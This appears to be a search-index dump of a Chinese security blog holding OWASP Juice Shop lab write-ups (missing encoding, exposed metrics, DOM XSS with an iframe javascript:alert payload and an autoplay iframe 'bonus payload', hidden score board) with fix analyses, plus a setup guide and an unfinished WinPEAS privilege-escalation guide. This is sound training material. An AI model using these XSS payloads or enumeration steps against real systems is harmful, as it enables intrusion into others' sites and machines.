核心线索 (Hints)\r在照片墙中找一张无法正常加载的图片。 你只需（字面意义上）检查问题就能看出症结所在。 试着点击该条目的推文按钮，观察一下效果。 🎓 实战动作 (Action)\r• 目标：照片墙里那张加载失败的图片。 • 工具：浏览器开发者工具（F12）。 • 操作：找到图片的真实 URL，手动修复特殊字符后直接访问。\r","date":"2026-03-30","objectID":"/posts/2026/juice-shop-missing-encoding/:1:0","tags":["juice-shop","编码","URL"],"title":"【juice-shop】★ Missing Encoding：消失的图片","uri":"/posts/2026/juice-shop-missing-encoding/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 1. 发现异常 打开照片墙，发现一个图片位置空白，没有加载出来： 2. 检查病灶 打开开发者工具，查看该图片的 src 地址，问题一目了然——URL 没有做任何转义： 3. 分析原因 原始图片链接是： http://127.0.0.1:3000/assets/public/images/uploads/ᓚᘏᗢ-#zatschi-#whoneedsfourlegs-1572600969477.jpg 关键知识点：# 在 URL 中是锚点符号（fragment identifier），浏览器遇到第一个 # 就会截断，后面的内容根本不会发送给服务器。 所以服务器实际收到的请求只有： http://127.0.0.1:3000/assets/public/images/uploads/ᓚᘏᗢ- 文件名后半段全部丢失，自然找不到图片。 4. 修复并验证 将 # 替换为其 URL 编码形式 %23，手动访问修复后的地址： http://127.0.0.1:3000/assets/public/images/uploads/ᓚᘏᗢ-%23zatschi-%23whoneedsfourlegs-1572600969477.jpg 图片成功加载，挑战完成 ✓ ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-missing-encoding/:2:0","tags":["juice-shop","编码","URL"],"title":"【juice-shop】★ Missing Encoding：消失的图片","uri":"/posts/2026/juice-shop-missing-encoding/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 知识延伸 为什么叫\u0026quot;Missing Encoding\u0026quot;？ 这类漏洞的根源是：程序在把用户数据（文件名、输入内容等）拼接进 URL 时，忘记对特殊字符进行编码。常见的危险字符包括： 字符 URL 编码 含义 # %23 锚点，浏览器截断标志 ? %3F 查询参数开始 \u0026amp; %26 参数分隔符 空格 %20 或 + 空格 在代码里怎么正确处理？ // 只编码文件名部分，不要对整个 URL 编码 const filename = \u0026#39;ᓚᘏᗢ-#zatschi-#whoneedsfourlegs-1572600969477.jpg\u0026#39; const safeUrl = \u0026#39;/assets/public/images/uploads/\u0026#39; + encodeURIComponent(filename) // 结果：/assets/public/images/uploads/%E1%93%9A%E1%98%8F%E1%97%A2-%23zatschi-%23whoneedsfourlegs-1572600969477.jpg ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-missing-encoding/:3:0","tags":["juice-shop","编码","URL"],"title":"【juice-shop】★ Missing Encoding：消失的图片","uri":"/posts/2026/juice-shop-missing-encoding/#0x03-知识延伸"},{"categories":["security"],"collections":["juice-shop"],"content":"0x04 参考资料 📖 MDN：encodeURIComponent() 📖 OWASP：URL 编码防御手册 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-missing-encoding/:4:0","tags":["juice-shop","编码","URL"],"title":"【juice-shop】★ Missing Encoding：消失的图片","uri":"/posts/2026/juice-shop-missing-encoding/#0x04-参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"通过猜测 Prometheus 的默认路径，发现未鉴权的指标端点。","date":"2026-03-30","objectID":"/posts/2026/juice-shop-exposed-metrics/","tags":["juice-shop","Prometheus","信息泄露"],"title":"【juice-shop】★ Exposed Metrics：暴露的监控指标","uri":"/posts/2026/juice-shop-exposed-metrics/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Exposed Metrics：暴露的监控指标 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-exposed-metrics/:0:0","tags":["juice-shop","Prometheus","信息泄露"],"title":"【juice-shop】★ Exposed Metrics：暴露的监控指标","uri":"/posts/2026/juice-shop-exposed-metrics/#juice-shop-exposed-metrics暴露的监控指标"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r尝试猜测后端可能使用什么 URL。 果汁店将指标数据发布在 Prometheus 预期的默认路径上。 猜测路径的速度，可能和查阅 Prometheus 官方文档 一样快。 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-exposed-metrics/:1:0","tags":["juice-shop","Prometheus","信息泄露"],"title":"【juice-shop】★ Exposed Metrics：暴露的监控指标","uri":"/posts/2026/juice-shop-exposed-metrics/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 根据提示，线索指向 Prometheus 文档。快速翻阅文档后，找到了 Prometheus 暴露指标的默认路径，直接访问： http://127.0.0.1:3000/metrics 页面成功返回了大量监控数据，漏洞确认。 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-exposed-metrics/:2:0","tags":["juice-shop","Prometheus","信息泄露"],"title":"【juice-shop】★ Exposed Metrics：暴露的监控指标","uri":"/posts/2026/juice-shop-exposed-metrics/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 源码审计：编码挑战 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-exposed-metrics/:3:0","tags":["juice-shop","Prometheus","信息泄露"],"title":"【juice-shop】★ Exposed Metrics：暴露的监控指标","uri":"/posts/2026/juice-shop-exposed-metrics/#0x03-源码审计编码挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 找到它 (Find It) 漏洞位于第 4 行：/metrics 路由没有任何鉴权中间件，所有人（包括未登录用户）均可直接访问。 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-exposed-metrics/:3:1","tags":["juice-shop","Prometheus","信息泄露"],"title":"【juice-shop】★ Exposed Metrics：暴露的监控指标","uri":"/posts/2026/juice-shop-exposed-metrics/#-找到它-find-it"},{"categories":["security"],"collections":["juice-shop"],"content":"🛠️ 修复它 (Fix It) 选项 处理方式 安全评价 结论 Fix 1 security.denyAll() ❌ 彻底封死，管理员也无法访问，功能被破坏 矫枉过正 Fix 2 security.isAdmin() ✅ 只有管理员可访问，功能保留，权限收紧 真·修复 Fix 3 metrics.serveMetrics() ❌ 端点还在，数据只是停止更新，漏洞依然存在 钝角（啥都没干） Fix 2 才是正确答案的原因：安全修复的目标是\u0026quot;让正确的人能访问，让不该访问的人无法访问\u0026quot;，而不是把功能一刀切掉。denyAll 是懒惰式修复——它确实消除了漏洞，但同时也把合理的需求一起毁掉了，实际工程中不可接受。 三个选项的防护强度排序：denyAll \u0026gt; isAdmin \u0026gt; 无防护（原始漏洞）。 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-exposed-metrics/:3:2","tags":["juice-shop","Prometheus","信息泄露"],"title":"【juice-shop】★ Exposed Metrics：暴露的监控指标","uri":"/posts/2026/juice-shop-exposed-metrics/#-修复它-fix-it"},{"categories":["security"],"collections":["juice-shop"],"content":"0x04 参考资料 📖 Prometheus 官方文档 - First Steps ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-exposed-metrics/:4:0","tags":["juice-shop","Prometheus","信息泄露"],"title":"【juice-shop】★ Exposed Metrics：暴露的监控指标","uri":"/posts/2026/juice-shop-exposed-metrics/#0x04-参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"进阶玩转 XSS：不仅是弹窗，还能让漏洞在页面中“唱”出声音。","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Bonus Payload：漏洞的声音 这是 DOM XSS 挑战的一个趣味“番外篇”。如果你已经搞定了基础的弹窗挑战，这一关会让你听到漏洞的声音。 ","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/:0:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/#juice-shop-bonus-payload漏洞的声音"},{"categories":["security"],"collections":["juice-shop"],"content":"0x00 前置要求 (Prerequisites) 在开始本关之前，请确保你已经准备就绪： 【juice-shop】★ DOM XSS：已掌握搜索框回显的基本原理。 运行环境：确认 Juice Shop 容器处于运行状态。 网络状态：Payload 引用了外部资源，需开启科学上网才能加载音频流。 ","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/:1:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/#0x00-前置要求-prerequisites"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务背景 💡 挑战提示 (Hints)\r确保你已经解决了 “执行 DOM XSS 攻击” 挑战。 将新的 Payload 复制粘贴到 相同的 易受攻击字段中。 ⚠️ 提交前请调大电脑音量！🔊 ","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/:2:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/#0x01-任务背景"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战引导 🎓 操作指南 (Walkthrough)\r• 本关只是在搜索栏换个更有趣的 Payload。 • 动作：将下方的代码填入搜索框。 • 注意：确认扬声器音量已拉满，然后按下 Enter。\r","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/:3:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/#0x02-实战引导"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 准备武器 (Payload) 这是从计分板直接复制的“音乐注入”代码，它利用 \u0026lt;iframe\u0026gt; 加载了一个带自动播放功能的 SoundCloud 播放器： \u0026lt;iframe width=\u0026#34;100%\u0026#34; height=\u0026#34;166\u0026#34; scrolling=\u0026#34;no\u0026#34; frameborder=\u0026#34;no\u0026#34; allow=\u0026#34;autoplay\u0026#34; src=\u0026#34;https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076\u0026amp;color=%23ff5500\u0026amp;auto_play=true\u0026amp;hide_related=false\u0026amp;show_comments=true\u0026amp;show_user=true\u0026amp;show_reposts=false\u0026amp;show_teaser=true\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; ","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/:4:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/#0x03-准备武器-payload"},{"categories":["security"],"collections":["juice-shop"],"content":"0x04 漏洞复现 和之前的 DOM XSS 操作完全一致。在搜索框中粘贴 Payload 并执行： 注入成功后，页面会嵌入播放器并自动播放音频： ","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/:5:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/#0x04-漏洞复现"},{"categories":["security"],"collections":["juice-shop"],"content":"0x05 为什么这能成功？ 原理一致：依然是利用了之前发现的 DOM XSS 漏洞点。 不只是弹窗：XSS 的威力远超 alert()。通过注入 \u0026lt;iframe\u0026gt;，攻击者可以强行在用户浏览器里加载任何第三方内容，如自动播放的音频、钓鱼表单或恶意广告。 关键属性：注意代码中的 allow=\u0026quot;autoplay\u0026quot;，这是绕过浏览器策略、让注入内容自动发出声音的关键权限。 ","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/:6:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/#0x05-为什么这能成功"},{"categories":["security"],"collections":["juice-shop"],"content":"0x06 编码挑战 (Coding Challenge) ","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/:7:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/#0x06-编码挑战-coding-challenge"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 找到它 (Find It) 漏洞依然在 第 6 行： ","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/:7:1","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/#-找到它-find-it"},{"categories":["security"],"collections":["juice-shop"],"content":"🛠️ 修复它 (Fix It) 原理回顾：由于这里直接使用了 bypassSecurityTrustHtml，导致 Angular 信任并渲染了恶意的 \u0026lt;iframe\u0026gt; 标签。修复方案与 DOM XSS 篇一致：删除该函数，让 Angular 默认执行转义处理。 ","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/:7:2","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/#-修复它-fix-it"},{"categories":["security"],"collections":["juice-shop"],"content":"💡 极简总结 (Scan-Friendly) 目标：老位置（搜索框）。 手段：粘贴复杂的 \u0026lt;iframe\u0026gt; 代码。 效果：回车，让漏洞“唱”起来。 ","date":"2026-03-29","objectID":"/posts/2026/juice-shop-bonus-payload/:7:3","tags":["juice-shop","XSS"],"title":"【juice-shop】★ Bonus Payload：漏洞的声音","uri":"/posts/2026/juice-shop-bonus-payload/#-极简总结-scan-friendly"},{"categories":["security"],"collections":["juice-shop"],"content":"利用 Angular 的盲目信任，在搜索框实现首次代码注入与弹窗触发。","date":"2026-03-28","objectID":"/posts/2026/juice-shop-dom-xss/","tags":["juice-shop","XSS"],"title":"【juice-shop】★ DOM XSS：搜索框里的“魔法”","uri":"/posts/2026/juice-shop-dom-xss/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ DOM XSS：搜索框里的“魔法” ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-dom-xss/:0:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ DOM XSS：搜索框里的“魔法”","uri":"/posts/2026/juice-shop-dom-xss/#juice-shop-dom-xss搜索框里的魔法"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r找回显：寻找一个输入后内容会直接跳进 HTML 的字段。 看本质：别被表面迷惑，重点在于程序如何处理你的输入。 🎓 实战动作 (Action)\r• 目标：屏幕顶部的 Search field（搜索栏）。 • 预热：尝试搜索 owasp 并回车。 • 变招：尝试注入 HTML/JS 代码进行 XSS 攻击。\r","date":"2026-03-28","objectID":"/posts/2026/juice-shop-dom-xss/:1:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ DOM XSS：搜索框里的“魔法”","uri":"/posts/2026/juice-shop-dom-xss/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 1. 准备武器 (Payload) 从计分板直接复制这行“弹窗指令”备用： \u0026lt;iframe src=\u0026#34;javascript:alert(`xss`)\u0026#34;\u0026gt; 2. 寻找靶心 根据提示，目标就在这里： 3. 触发陷阱 将 Payload 填入搜索框 -\u0026gt; 回车 -\u0026gt; Boom! 弹窗出现，漏洞确认。 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-dom-xss/:2:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ DOM XSS：搜索框里的“魔法”","uri":"/posts/2026/juice-shop-dom-xss/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 源码审计：编码挑战 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-dom-xss/:3:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ DOM XSS：搜索框里的“魔法”","uri":"/posts/2026/juice-shop-dom-xss/#0x03-源码审计编码挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 找到它 (Find It) 漏洞位于 第 6 行： ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-dom-xss/:3:1","tags":["juice-shop","XSS"],"title":"【juice-shop】★ DOM XSS：搜索框里的“魔法”","uri":"/posts/2026/juice-shop-dom-xss/#-找到它-find-it"},{"categories":["security"],"collections":["juice-shop"],"content":"🛠️ 修复它 (Fix It) 面对四个选项，为什么选 Fix 2？ 选项 处理方式 安全评价 结论 Fix 1 trustScript ❌ 依然执行 JS 换个姿势被黑 Fix 2 直接赋值 ✅ Angular 自动编码 真·修复 Fix 3 trustResourceUrl ❌ 依然加载恶意链接 掩耳盗铃 Fix 4 trustStyle ❌ 可能导致 CSS 注入 治标不治本 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-dom-xss/:3:2","tags":["juice-shop","XSS"],"title":"【juice-shop】★ DOM XSS：搜索框里的“魔法”","uri":"/posts/2026/juice-shop-dom-xss/#-修复它-fix-it"},{"categories":["security"],"collections":["juice-shop"],"content":"0x04 参考资料 📖 OWASP: DOM based XSS 防御手册 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-dom-xss/:4:0","tags":["juice-shop","XSS"],"title":"【juice-shop】★ DOM XSS：搜索框里的“魔法”","uri":"/posts/2026/juice-shop-dom-xss/#0x04-参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"juice-shop 这个靶场的开始","date":"2026-03-28","objectID":"/posts/2026/juice-shop-intro/","tags":["juice-shop"],"title":"【juice-shop】★ 开篇：消失的计分板","uri":"/posts/2026/juice-shop-intro/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ 开篇：消失的计分板 启动服务，进入战场：http://127.0.0.1:3000 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-intro/:0:0","tags":["juice-shop"],"title":"【juice-shop】★ 开篇：消失的计分板","uri":"/posts/2026/juice-shop-intro/#juice-shop-开篇消失的计分板"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务目标：找到“成绩单” 🎓系统任务简报\r1. 核心机制：应用遍布漏洞，你的所有“战绩”都会记录在 Score Board（计分板）。 2. 隐藏关卡：导航栏里找不到它，找到计分板本身就是第一个挑战。 3. 破局工具：按下 F12，线索藏在 JavaScript 代码里。 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-intro/:1:0","tags":["juice-shop"],"title":"【juice-shop】★ 开篇：消失的计分板","uri":"/posts/2026/juice-shop-intro/#0x01-任务目标找到成绩单"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：顺藤摸瓜 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-intro/:2:0","tags":["juice-shop"],"title":"【juice-shop】★ 开篇：消失的计分板","uri":"/posts/2026/juice-shop-intro/#0x02-实战顺藤摸瓜"},{"categories":["security"],"collections":["juice-shop"],"content":"1. 定位导航逻辑 由于侧边栏通常由前端路由控制，我们先从已知的导航项入手。 操作：F12 选中侧边栏元素，观察已知的链接。 线索：发现路由 /contact。 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-intro/:2:1","tags":["juice-shop"],"title":"【juice-shop】★ 开篇：消失的计分板","uri":"/posts/2026/juice-shop-intro/#1-定位导航逻辑"},{"categories":["security"],"collections":["juice-shop"],"content":"2. 深入 JS 审计 在调试器 (Debugger) 中全局搜索 /contact，我们锁定了两个关键文件： hacking-instructor-xxx.js main.js（重点！这是前端逻辑的核心） ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-intro/:2:2","tags":["juice-shop"],"title":"【juice-shop】★ 开篇：消失的计分板","uri":"/posts/2026/juice-shop-intro/#2-深入-js-审计"},{"categories":["security"],"collections":["juice-shop"],"content":"3. 关键词爆破：routerLink 在 main.js 中搜索 Angular 的路由指令 routerLink。 现状：搜到 61 个结果。 笨办法：一个个拼接到 URL 后面测试（如 /#/about）。 终点：最终锁定 /#/score-board。 🏆 挑战达成！ http://127.0.0.1:3000/#/score-board ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-intro/:2:3","tags":["juice-shop"],"title":"【juice-shop】★ 开篇：消失的计分板","uri":"/posts/2026/juice-shop-intro/#3-关键词爆破routerlink"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 代码审计：它是怎么“藏”的？ ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-intro/:3:0","tags":["juice-shop"],"title":"【juice-shop】★ 开篇：消失的计分板","uri":"/posts/2026/juice-shop-intro/#0x03-代码审计它是怎么藏的"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 找到它 (Find It) 在源码 第 114 行，我们发现了这个路由的明文定义： ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-intro/:3:1","tags":["juice-shop"],"title":"【juice-shop】★ 开篇：消失的计分板","uri":"/posts/2026/juice-shop-intro/#-找到它-find-it"},{"categories":["security"],"collections":["juice-shop"],"content":"🛠️ 修复它 (Fix It) 面对三个修复方案，为什么选 Fix 2？ 选项 修复方式 评价 结论 Fix 1 直接删除路由 ❌ 功能被阉割 过于暴力 Fix 2 Base64 编码路径 ✅ 增加搜寻成本 本关正解 Fix 3 直接显示路由 ❌ 放弃抵抗 毫无安全性可言 底层逻辑：Fix 2 使用了 atob('c2NvcmuUtYm9hcmQ=')。 虽然这只是**混淆（Obfuscation）**而非加密，但它成功让 score-board 躲过了简单的“全文搜索”，强迫黑客必须理解代码逻辑才能找到路径。 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-intro/:3:2","tags":["juice-shop"],"title":"【juice-shop】★ 开篇：消失的计分板","uri":"/posts/2026/juice-shop-intro/#-修复它-fix-it"},{"categories":["security"],"collections":["juice-shop"],"content":"0x04 总结 作为安全研究的第一步，信息收集 (Recon) 永远是核心。计分板的隐藏告诉我们：不要只看页面上有什么，要看代码里写了什么。 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-intro/:4:0","tags":["juice-shop"],"title":"【juice-shop】★ 开篇：消失的计分板","uri":"/posts/2026/juice-shop-intro/#0x04-总结"},{"categories":["security"],"collections":["juice-shop"],"content":"juice-shop 这个靶场的开始","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/"},{"categories":["security"],"collections":["juice-shop"],"content":"OWASP Juice Shop 部署 OWASP Juice Shop 是一个“漏洞靶场”电商网站，技术栈主要是 Node.js + Angular + SQL/NoSQL。 以下内容默认在 Kali 中执行 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:0:0","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#owasp-juice-shop-部署"},{"categories":["security"],"collections":["juice-shop"],"content":"源码部署（长期使用推荐） ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:1:0","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#源码部署长期使用推荐"},{"categories":["security"],"collections":["juice-shop"],"content":"环境要求 Node.js：20 - 24 Git：用于拉取源码 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:1:1","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#环境要求"},{"categories":["security"],"collections":["juice-shop"],"content":"部署步骤 git clone https://github.com/juice-shop/juice-shop.git --depth 1 cd juice-shop npm install npm start ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:1:2","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#部署步骤"},{"categories":["security"],"collections":["juice-shop"],"content":"说明 git clone --depth 1：只拉取最新提交，速度更快 npm install：安装依赖 npm start：启动服务 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:1:3","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#说明"},{"categories":["security"],"collections":["juice-shop"],"content":"访问地址 启动后默认访问： http://127.0.0.1:3000 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:1:4","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#访问地址"},{"categories":["security"],"collections":["juice-shop"],"content":"Docker 部署（快速使用推荐） ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:2:0","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#docker-部署快速使用推荐"},{"categories":["security"],"collections":["juice-shop"],"content":"环境要求 Docker ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:2:1","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#环境要求-1"},{"categories":["security"],"collections":["juice-shop"],"content":"部署命令 docker run --rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:2:2","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#部署命令"},{"categories":["security"],"collections":["juice-shop"],"content":"说明 --rm：容器退出后自动删除 -p 127.0.0.1:3000:3000：仅本机可访问，映射到本地 3000 端口 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:2:3","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#说明-1"},{"categories":["security"],"collections":["juice-shop"],"content":"访问地址 http://127.0.0.1:3000 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:2:4","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#访问地址-1"},{"categories":["security"],"collections":["juice-shop"],"content":"部署方式对比 源码部署 ├── 适合：需要查看/修改代码 ├── 优点：可控性高 └── 缺点：依赖安装较多 Docker 部署 ├── 适合：快速启动 ├── 优点：简单、省事 └── 缺点：不方便改源码 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:3:0","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#部署方式对比"},{"categories":["security"],"collections":["juice-shop"],"content":"常见检查项 ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:4:0","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#常见检查项"},{"categories":["security"],"collections":["juice-shop"],"content":"源码部署前确认 node -v npm -v git --version ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:4:1","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#源码部署前确认"},{"categories":["security"],"collections":["juice-shop"],"content":"Docker 部署前确认 docker --version docker ps ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:4:2","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#docker-部署前确认"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 Juice Shop GitHub ","date":"2026-03-28","objectID":"/posts/2026/juice-shop-setup/:5:0","tags":["juice-shop"],"title":"【juice-shop】开始之前 部署","uri":"/posts/2026/juice-shop-setup/#参考"},{"categories":["security"],"collections":null,"content":"如何使用WinPEAS？","date":"2026-03-21","objectID":"/posts/2026/winpeas-guide/","tags":[],"title":"WinPEAS 使用指南","uri":"/posts/2026/winpeas-guide/"},{"categories":["security"],"collections":null,"content":"如何使用WinPEAS？ ","date":"2026-03-21","objectID":"/posts/2026/winpeas-guide/:0:0","tags":[],"title":"WinPEAS 使用指南","uri":"/posts/2026/winpeas-guide/#"},{"categories":["security"],"collections":null,"content":"[笔记] WinPEAS 使用指南 Windows 提权全自动“体检”工具 见红必看，见绿换路 ","date":"2026-03-21","objectID":"/posts/2026/winpeas-guide/:0:0","tags":[],"title":"WinPEAS 使用指南","uri":"/posts/2026/winpeas-guide/#笔记-winpeas-使用指南"},{"categories":["security"],"collections":null,"content":"[COLORS] 文字颜色（最重要！） 不需要读文字，盯着颜色看： 颜色 内容 红色 (RED) 表示对某个对象具有特殊权限或某些内容配置错误（渗透者有利） 绿色 (GREEN) 表示某些保护已启用或某些内容配置良好（防守者有利） 青色 (CYAN) 表示活跃用户 蓝色 (BLUE) 表示禁用用户 浅黄 (LIGHT YELLOW) 浅黄色表示链接 ","date":"2026-03-21","objectID":"/posts/2026/winpeas-guide/:1:0","tags":[],"title":"WinPEAS 使用指南","uri":"/posts/2026/winpeas-guide/#colors-文字颜色最重要"},{"categories":["security"],"collections":null,"content":"[CMD] 常用“一句话”命令 # 快速体检 (最常用)\r./winPEASx64.exe # 静默体检 (跳过 Banner 动画)\r./winPEASx64.exe quiet # 后台记录 (屏幕同步显示，推荐)\r./winPEASx64.exe log=out.txt # 重定向输出 (屏幕静默)\r./winPEASx64.exe \u0026gt; out.txt # 无色模式 (解决乱码/老旧终端)\r./winPEASx64.exe notcolor ","date":"2026-03-21","objectID":"/posts/2026/winpeas-guide/:2:0","tags":[],"title":"WinPEAS 使用指南","uri":"/posts/2026/winpeas-guide/#cmd-常用一句话命令"},{"categories":["security"],"collections":null,"content":"[POSITION] 工具定位与工作流 # 渗透测试阶段逻辑 (ASCII)\r[ 1. 初始突破 ] --\u0026gt; [ 2. 获得低权限 Shell ] --\u0026gt; [ 3. 运行 WinPEAS ] | +----------------------------------------------+ | v [ 4. 信息枚举 (Enumeration) ] - 系统配置 / 补丁补丁 - 服务与计划任务 (可写路径?) - 凭据发现 (密码/哈希) | v [ 5. 提权验证 (PrivEsc) ] --\u0026gt; [ 6. 获得 System/Admin ] ","date":"2026-03-21","objectID":"/posts/2026/winpeas-guide/:3:0","tags":[],"title":"WinPEAS 使用指南","uri":"/posts/2026/winpeas-guide/#position-工具定位与工作流"},{"categories":["security"],"collections":null,"content":"[HELP] 参数 \u0026gt; .winPEASx64.exe -h [*] WinPEAS 是一个二进制文件，用于枚举本地升级权限的可能路径。默认情况下，除非另有说明，否则它将运行以下所有检查， 